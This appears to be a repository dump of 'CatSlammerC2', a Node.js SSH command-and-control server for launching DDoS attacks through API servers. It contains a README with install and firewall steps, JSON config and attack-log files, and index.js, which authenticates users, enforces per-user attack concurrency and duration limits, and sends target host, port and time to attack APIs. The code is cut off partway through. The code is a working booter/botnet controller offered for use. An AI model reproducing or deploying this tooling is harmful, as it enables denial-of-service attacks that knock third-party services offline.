├── README.md ├── attacks.json ├── index.js ├── package-lock.json ├── package.json ├── servers.json └── users.json /README.md: -------------------------------------------------------------------------------- 1 |

NodeJS SSH2 Command and Control server to launch DDoS attacks using API

2 | 3 |

Coded by forky (tg: @yfork)

4 | 5 | 6 |

Installation:

7 | 8 | ```sh 9 | curl -sL https://deb.nodesource.com/setup_16.x | sudo bash - 10 | sudo apt -y install nodejs 11 | npm i ssh2 axios 12 | ``` 13 | 14 |

Setup:

15 | 16 |

Update servers.json to your methods/API servers
17 | Update users.json to your username/passwords and concurrents/maxboot
18 | Update line 21 to change the botnet name
19 | Update line 22 to change the botnet port

20 | 21 | 22 | 23 |

Firewall:

24 | 25 |

Protect your CNC by creating a firewall if it's accessible to the public

26 |

Use this iptables ratelimit in combination with an OVH/Path server to prevent most handshake DDoS attacks. Don't forget to substitute 2222 with your CNC port

27 | 28 | 29 | ```sh 30 | iptables -A INPUT -p tcp --dport 2222 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset 31 | iptables -A INPUT -p tcp --dport 2222 -m recent --set --name ratelimit 32 | iptables -A INPUT -p tcp --dport 2222 -m recent --update --seconds 1 --hitcount 10 --rttl --name ratelimit -j DROP 33 | ``` 34 | 35 | -------------------------------------------------------------------------------- /attacks.json: -------------------------------------------------------------------------------- 1 | { 2 | "attacks": [ 3 | { 4 | "method": "udp", 5 | "host": "1.1.1.1", 6 | "port": 80, 7 | "time": 10, 8 | "username": "user1", 9 | "start_time": 1649248150247, 10 | "end_time": 1649248160247 11 | } 12 | ] 13 | } 14 | -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | // NodeJS SSH2 Command and Control server to launch DDoS attacks using API 2 | // Coded by forky (tg: @yfork) 3 | // v0.0.1 4 | // This was released on github.com/forkyyy 5 | 6 | 7 | const fs = require('fs'); 8 | const ssh2 = require('ssh2'); 9 | const axios = require('axios'); 10 | 11 | //database 12 | const users = require('./users.json').users; 13 | 14 | //servers 15 | const servers = require('./servers.json'); 16 | 17 | //attacks log 18 | const attacksLog = require('./attacks.json').attacks; 19 | 20 | //botnet name, banner(optional) and port 21 | const cnc_name = "CatSlammerC2"; 22 | const cnc_port = 2222; 23 | 24 | function send_attack(client, method, ...args) { 25 | 26 | const [host, port, time] = args; 27 | 28 | const ipRegex = /^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$|^:(:[0-9a-fA-F]{1,4}){1,7}$/; 29 | const ipRangeRegex = /^(?:[0-9]{1,3}\.){3}[0-9]{1,3}\/[0-9]{1,2}$/; 30 | 31 | if (host.startsWith("http://") || host.startsWith("https://")) { 32 | // Check for potential URL injection 33 | const forbiddenCharacters = ['"', "'", '%', '&', '$', '|', ';', '(', ')', '[', ']', '{', '}']; 34 | for (const char of forbiddenCharacters) { 35 | if (host.includes(char)) { 36 | return `Invalid input: URL injection detected (${char})`; 37 | } 38 | } 39 | } else { 40 | // Check for a valid IPv4 or IPv4 Subnet 41 | if (!ipRegex.test(host) && !ipRangeRegex.test(host)) { 42 | return 'Invalid host or host range\r\n'; 43 | } 44 | } 45 | 46 | //check if port is valid 47 | if (port < 0 || port > 65535) { 48 | return 'Invalid port number\r\n'; 49 | } 50 | 51 | //check if time is valid 52 | if (time < 10 || time > 86400) { 53 | return 'Invalid time value\r\n'; 54 | } 55 | 56 | //check if method is valid 57 | if (!servers.hasOwnProperty(method)) { 58 | return `Unknown attack method '${method}'\r\n`; 59 | } 60 | 61 | const user = users.find(user => user.username === client.username) || {}; 62 | let clientAttacks = user.attacks || []; 63 | 64 | // Check if the user has reached their max concurrent attacks 65 | if (clientAttacks.length >= user.concurrents) { 66 | return `You have reached your max concurrent attacks (${user.concurrents}).\r\n`; 67 | } 68 | 69 | // Check if the attack will exceed the user's max boot time 70 | if (time > user.max_boot) { 71 | return `The attack time (${time} seconds) exceeds your max boot time (${user.max_boot} seconds).\r\n`; 72 | } 73 | 74 | const url = servers[method].api 75 | .replace('$host', host) 76 | .replace('$port', port) 77 | .replace('$time', time); 78 | 79 | // Add the attack to the client's list of active attacks 80 | const attack = { 81 | method, 82 | host, 83 | port, 84 | time, 85 | end_time: Date.now() + time * 1000 86 | }; 87 | 88 | //add the attack to the launched attacks 89 | clientAttacks.push(attack); 90 | 91 | axios.get(url) 92 | .then(response => { 93 | //console.log(response.data); 94 | // Remove the attack from the client's list of active attacks once it has ended 95 | setTimeout(() => { 96 | clientAttacks = clientAttacks.filter(a => a !== attack); 97 | user.attacks = clientAttacks; // update user's active attacks 98 | console.log(`${cnc_name} - attack ended on ${attack.host}`) 99 | }, time * 1000); 100 | }) 101 | .catch(error => { 102 | //console.error(error); 103 | clientAttacks = clientAttacks.filter(a => a !== attack); 104 | user.attacks = clientAttacks; // update user's active attacks 105 | console.log(`${cnc_name} - failed to attack ${attack.host}`) 106 | }); 107 | 108 | //log the attack on the json file 109 | attacksLog.push({ 110 | ...attack, 111 | username: user.username 112 | }) 113 | fs.writeFileSync('./attacks.json', JSON.stringify({ 114 | attacks: attacksLog 115 | })) 116 | 117 | //log the attack on console and returns the api call 118 | console.log(`${cnc_name} - attack sent to ${attack.host}:${attack.port} using ${attack.method} by ${user.username}`) 119 | return `${method} attack sent to ${host}:${port} for ${time} seconds\r\n`; 120 | } 121 | 122 | (async () => { 123 | startServer(); 124 | })(); 125 | 126 | function startServer() { 127 | var server = new ssh2.Server({ 128 | hostKeys: [fs.readFileSync("/etc/ssh/ssh_host_rsa_key")] 129 | }, (client) => { 130 | client.on('authentication', async (ctx) => { 131 | client.username = ctx.username; 132 | client.password = ctx.password; 133 | 134 | if (ctx.method === 'password') { 135 | try { 136 | const user = users.find(user => user.username === client.username && user.password === client.password); 137 | if (user) { 138 | return ctx.accept(); 139 | } else { 140 | return ctx.reject(); 141 | } 142 | } catch (e) { 143 | return ctx.reject(); 144 | } 145 | } else { 146 | return ctx.reject(['password']); 147 | } 148 | }); 149 | 150 | client.on('ready', () => { 151 | client.on('session', (accept, reject) => { 152 | const session = accept(); 153 | 154 | session.on('pty', (accept, reject, info) => { 155 | accept(); 156 | }); 157 | 158 | session.once('shell', (accept, reject, info) => { 159 | var stream = accept(); 160 | stream.write(`\x1b]0;${cnc_name} - Botnet\x07`); 161 | 162 | var chunk = ''; 163 | stream.write(`\x1b[2J\x1b[1H`) 164 | stream.on('data', async (data) => { 165 | var stringData = data.toString(); 166 | if (stringData != '\r') { 167 | chunk += stringData; 168 | stream.write(data); 169 | } else { 170 | stream.write('\r\n'); 171 | try { 172 | const availableMethods = Object.keys(servers); 173 | 174 | var command = chunk.split(' ')[0]; 175 | var args = chunk.split(' ').slice(1); 176 | chunk = ''; 177 | 178 | //methods command 179 | 180 | if (command === 'methods' || command === '?') { 181 | stream.write(`Example: